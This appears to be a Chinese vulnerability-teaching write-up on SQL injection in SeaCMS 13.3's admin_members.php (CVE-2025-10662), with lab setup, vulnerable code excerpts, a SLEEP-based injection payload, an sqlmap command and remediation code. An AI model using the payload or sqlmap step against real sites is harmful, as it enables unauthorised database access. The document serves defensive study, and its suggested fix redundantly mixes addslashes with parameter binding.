SeaCMS SQL注入漏洞（CVE-2025-10662）教学文档<\/h1>

1. 漏洞概述<\/h2>

1.1 基本信息<\/h3>

漏洞编号<\/strong>：CVE-2025-10662<\/li>
影响产品<\/strong>：SeaCMS（海洋CMS）<\/li>
影响版本<\/strong>：SeaCMS 13.3及之前版本<\/li>
漏洞类型<\/strong>：SQL注入漏洞<\/li>

风险等级<\/strong>：高危<\/li> <\/ul>
1.2 漏洞描述<\/h3>
SeaCMS是一套使用PHP编写的免费开源视频点播内容管理系统。在\/admin_members.php文件的ac=editsave功能点中，由于对用户输入参数过滤不严，存在多处SQL注入漏洞，攻击者可通过构造恶意参数窃取数据库敏感信息。<\/p>
2. 环境搭建<\/h2>
2.1 系统要求<\/h3>

操作系统<\/strong>：Windows<\/li>
Web服务器<\/strong>：Apache 2.4.39<\/li>
PHP版本<\/strong>：5.5.9<\/li>
数据库<\/strong>：MySQL 8.0.11<\/li>
SeaCMS版本<\/strong>：V13.3<\/li> <\/ul>
2.2 安装步骤<\/h3>

下载SeaCMS安装包：<\/p>
https:\/\/www.seacms.net\/download\/安装包\/SeaCMS_V13.3_install.zip <\/code><\/pre> <\/li> 解压后将upload文件夹内所有文件复制到网站根目录<\/p> <\/li> 修复安装路径问题（Windows环境）：<\/p> 编辑install\/index.php文件<\/li> 修改代码：<\/li> <\/ul> \/\/ 原代码： <\/span><\/span><\/span><\/span>define<\/span>('sea_ROOT'<\/span>,preg_replace<\/span>("|[\\/]install|"<\/span>,''<\/span>,dirname<\/span>(__FILE__<\/span>))); <\/span><\/span> <\/span><\/span>\/\/ 修改为： <\/span><\/span><\/span><\/span>define<\/span>('sea_ROOT'<\/span>, str_replace<\/span>('\\'<\/span>, '\/'<\/span>, dirname<\/span>(__FILE__<\/span>)) .<\/span> '\/..'<\/span>); <\/span><\/span><\/code><\/pre><\/li> 访问安装页面：<\/p> http:\/\/[域名]\/install\/index.php <\/code><\/pre> <\/li> 创建数据库后按提示完成安装<\/p> <\/li> <\/ol> 2.3 默认登录信息<\/h3> 首页地址<\/strong>：http:\/\/[域名]\/<\/li> 后台地址<\/strong>：http:\/\/[域名]\/9vlmn4<\/li> 用户名<\/strong>：admin<\/li> 密码<\/strong>：admin123<\/li> <\/ul> 3. 漏洞分析<\/h2> 3.1 漏洞位置<\/h3> 漏洞文件：\/admin_members.php<\/code><\/p> 3.2 具体漏洞点分析<\/h3> 漏洞点1：用户搜索功能（ac=search）<\/h4> if<\/span>($ac ==<\/span> 'search'<\/span>) { <\/span><\/span> if<\/span>(empty<\/span>($uid) &&<\/span> empty<\/span>($uname)) { <\/span><\/span> ShowMsg<\/span>("错误，您必须输入一个搜索条件！"<\/span>, '-1'<\/span>); <\/span><\/span> exit<\/span>(); <\/span><\/span> } else<\/span> { <\/span><\/span> $wheresql =<\/span> "where"<\/span>; <\/span><\/span> if<\/span>(!<\/span>empty<\/span>($uid)) <\/span><\/span> $wheresql .=<\/span> " id in (<\/span>$uid<\/span>) and"<\/span>; \/\/ $uid未过滤 <\/span><\/span><\/span><\/span> if<\/span>(!<\/span>empty<\/span>($uname)) { <\/span><\/span> $uname =<\/span> str_replace<\/span>('*'<\/span>, '%'<\/span>, $uname); <\/span><\/span> $wheresql .=<\/span> " username like '<\/span>$uname<\/span>'"<\/span>; \/\/ $uname未过滤 <\/span><\/span><\/span><\/span> } <\/span><\/span> } <\/span><\/span> $wheresql =<\/span> rtrim<\/span>($wheresql, 'and'<\/span>); <\/span><\/span> $sql =<\/span> "select * from sea_member <\/span>$wheresql<\/span>"<\/span>; <\/span><\/span> $dsql-><\/span>SetQuery<\/span>($sql); <\/span><\/span> $dsql-><\/span>Execute<\/span>('search_list'<\/span>); <\/span><\/span>} <\/span><\/span><\/code><\/pre>漏洞点2：用户删除功能（ac=clear）<\/h4> elseif<\/span>($ac ==<\/span> 'clear'<\/span>) { <\/span><\/span> if<\/span>(empty<\/span>($uid1) &&<\/span> empty<\/span>($uname1)) { <\/span><\/span> ShowMsg<\/span>("抱歉，没有搜索到需要删除的用户"<\/span>, '-1'<\/span>); <\/span><\/span> exit<\/span>(); <\/span><\/span> } else<\/span> { <\/span><\/span> $wheresql =<\/span> "where"<\/span>; <\/span><\/span> if<\/span>(!<\/span>empty<\/span>($uid1)) <\/span><\/span> $wheresql .=<\/span> " uid in (<\/span>$uid1<\/span>) and"<\/span>; \/\/ $uid1未过滤 <\/span><\/span><\/span><\/span> if<\/span>(!<\/span>empty<\/span>($uname1)) { <\/span><\/span> $uname1 =<\/span> str_replace<\/span>('*'<\/span>, '%'<\/span>, $uname1); <\/span><\/span> $wheresql .=<\/span> " username like '<\/span>$uname1<\/span>'"<\/span>; \/\/ $uname1未过滤 <\/span><\/span><\/span><\/span> } <\/span><\/span> } <\/span><\/span> $sql =<\/span> "delete from sea_member <\/span>$wheresql<\/span>"<\/span>; <\/span><\/span> $ret =<\/span> $dsql-><\/span>ExecuteNoneQuery2<\/span>($sql); <\/span><\/span>} <\/span><\/span><\/code><\/pre>漏洞点3：用户编辑功能（ac=edit）<\/h4> elseif<\/span>($ac ==<\/span> 'edit'<\/span>) { <\/span><\/span> $row =<\/span> $dsql-><\/span>GetOne<\/span>("select * from sea_member where id='<\/span>$id<\/span>'"<\/span>); \/\/ $id未过滤 <\/span><\/span><\/span><\/span>} <\/span><\/span><\/code><\/pre>漏洞点4：保存编辑功能（ac=editsave）<\/h4> elseif<\/span>($ac ==<\/span> 'editsave'<\/span>) { <\/span><\/span> $gid =<\/span> intval<\/span>($gid); <\/span><\/span> $upoints =<\/span> intval<\/span>($upoints); <\/span><\/span> $vipendtime2 =<\/span> strtotime<\/span>($vipendtime); <\/span><\/span> $ustate =<\/span> intval<\/span>($ustate); <\/span><\/span> <\/span><\/span> if<\/span>($delpic ==<\/span> 1<\/span>) { <\/span><\/span> $picsql =<\/span> "update sea_member set pic='' where id=<\/span>$id<\/span>"<\/span>; \/\/ $id未过滤 <\/span><\/span><\/span><\/span> $dsql-><\/span>ExecuteNoneQuery<\/span>($picsql); <\/span><\/span> } <\/span><\/span> <\/span><\/span> if<\/span>($psd ==<\/span> ""<\/span>) { <\/span><\/span> $sql =<\/span> "update sea_member set gid=<\/span>$gid<\/span>,points=<\/span>$upoints<\/span>,email='<\/span>$email<\/span>',nickname='<\/span>$nickname<\/span>',state=<\/span>$ustate<\/span>,vipendtime='<\/span>$vipendtime2<\/span>',acode='<\/span>$acode<\/span>' where id=<\/span>$id<\/span>"<\/span>; <\/span><\/span> } else<\/span> { <\/span><\/span> $psd =<\/span> substr<\/span>(md5<\/span>($psd), 5<\/span>, 20<\/span>); <\/span><\/span> $sql =<\/span> "update sea_member set gid=<\/span>$gid<\/span>,points=<\/span>$upoints<\/span>,email='<\/span>$email<\/span>',nickname='<\/span>$nickname<\/span>',state=<\/span>$ustate<\/span>,password='<\/span>$psd<\/span>',vipendtime='<\/span>$vipendtime2<\/span>',acode='<\/span>$acode<\/span>' where id=<\/span>$id<\/span>"<\/span>; <\/span><\/span> } <\/span><\/span> $dsql-><\/span>ExecuteNoneQuery<\/span>($sql); <\/span><\/span>} <\/span><\/span><\/code><\/pre>漏洞点5：单条删除功能（ac=del\/del2）<\/h4> elseif<\/span>($ac ==<\/span> 'del'<\/span> ||<\/span> $ac ==<\/span> 'del2'<\/span>) { <\/span><\/span> $sql =<\/span> "delete from sea_member where id='<\/span>$id<\/span>'"<\/span>; \/\/ $id未过滤 <\/span><\/span><\/span><\/span> $dsql-><\/span>ExecuteNoneQuery<\/span>($sql); <\/span><\/span>} <\/span><\/span><\/code><\/pre>漏洞点6：批量删除功能（ac=delall\/delall2）<\/h4> elseif<\/span>($ac ==<\/span> 'delall'<\/span> ||<\/span> $ac ==<\/span> 'delall2'<\/span>) { <\/span><\/span> if<\/span>(empty<\/span>($uidarray)) { <\/span><\/span> ShowMsg<\/span>("请选择要删除的用户"<\/span>, '-1'<\/span>); <\/span><\/span> exit<\/span>(); <\/span><\/span> } <\/span><\/span> foreach<\/span>($uidarray as<\/span> $id) { <\/span><\/span> $sql =<\/span> "delete from sea_member where id='<\/span>$id<\/span>'"<\/span>; \/\/ $id未过滤 <\/span><\/span><\/span><\/span> $dsql-><\/span>ExecuteNoneQuery<\/span>($sql); <\/span><\/span> } <\/span><\/span>} <\/span><\/span><\/code><\/pre>4. 漏洞复现<\/h2> 4.1 手工复现（以用户搜索为例）<\/h3> 登录后台：http:\/\/[域名]\/9vlmn4<\/li> 使用管理员账号登录（admin\/admin123）<\/li> 在用户管理页面进行搜索操作<\/li> 拦截HTTP请求并修改参数： POST \/admin_members.php?ac=search uid=1) AND (SELECT SLEEP(5))-- - <\/code><\/pre> <\/li> 观察响应时间，确认是否存在延时注入<\/li> <\/ol> 4.2 工具复现（使用SQLMap）<\/h3> 保存HTTP请求为post.txt文件<\/li> 执行命令： python sqlmap.py -r post.txt --dbs --batch <\/span><\/span><\/code><\/pre><\/li> SQLMap将自动检测并利用SQL注入漏洞<\/li> <\/ol> 5. 修复方案<\/h2> 5.1 输入验证<\/h3> 对所有用户输入参数进行严格类型校验和过滤：<\/p> \/\/ 对数字型参数使用intval()转换 <\/span><\/span><\/span><\/span>$id =<\/span> intval<\/span>($_POST['id'<\/span>]); <\/span><\/span>$uid =<\/span> intval<\/span>($_POST['uid'<\/span>]); <\/span><\/span> <\/span><\/span>\/\/ 对字符串参数使用addslashes()或mysqli_real_escape_string() <\/span><\/span><\/span><\/span>$uname =<\/span> addslashes<\/span>($_POST['uname'<\/span>]); <\/span><\/span><\/code><\/pre>5.2 使用预编译语句（推荐）<\/h3> 将直接拼接SQL的方式改为参数化查询：<\/p> \/\/ 使用PDO预编译语句示例 <\/span><\/span><\/span><\/span>$stmt =<\/span> $pdo-><\/span>prepare<\/span>("SELECT * FROM sea_member WHERE id = :id"<\/span>); <\/span><\/span>$stmt-><\/span>bindParam<\/span>(':id'<\/span>, $id, PDO<\/span>::<\/span>PARAM_INT<\/span>); <\/span><\/span>$stmt-><\/span>execute<\/span>(); <\/span><\/span><\/code><\/pre>5.3 具体修复代码示例<\/h3> \/\/ 修复后的搜索功能 <\/span><\/span><\/span><\/span>if<\/span>($ac ==<\/span> 'search'<\/span>) { <\/span><\/span> $wheresql =<\/span> "where 1=1"<\/span>; <\/span><\/span> $params =<\/span> array<\/span>(); <\/span><\/span> <\/span><\/span> if<\/span>(!<\/span>empty<\/span>($uid)) { <\/span><\/span> $uid =<\/span> intval<\/span>($uid); <\/span><\/span> $wheresql .=<\/span> " AND id = ?"<\/span>; <\/span><\/span> $params[] =<\/span> $uid; <\/span><\/span> } <\/span><\/span> <\/span><\/span> if<\/span>(!<\/span>empty<\/span>($uname)) { <\/span><\/span> $uname =<\/span> str_replace<\/span>('*'<\/span>, '%'<\/span>, $uname); <\/span><\/span> $uname =<\/span> addslashes<\/span>($uname); <\/span><\/span> $wheresql .=<\/span> " AND username LIKE ?"<\/span>; <\/span><\/span> $params[] =<\/span> $uname; <\/span><\/span> } <\/span><\/span> <\/span><\/span> $sql =<\/span> "SELECT * FROM sea_member <\/span>$wheresql<\/span>"<\/span>; <\/span><\/span> \/\/ 使用预编译执行查询 <\/span><\/span><\/span><\/span>} <\/span><\/span><\/code><\/pre>6. 总结<\/h2> SeaCMS V13.3版本在admin_members.php文件中存在多处SQL注入漏洞，主要原因是未对用户输入的$uid<\/code>、$uname<\/code>、$id<\/code>等参数进行有效过滤。攻击者可以通过构造恶意SQL语句获取数据库敏感信息。建议用户及时更新到安全版本或按照上述方案进行修复。<\/p>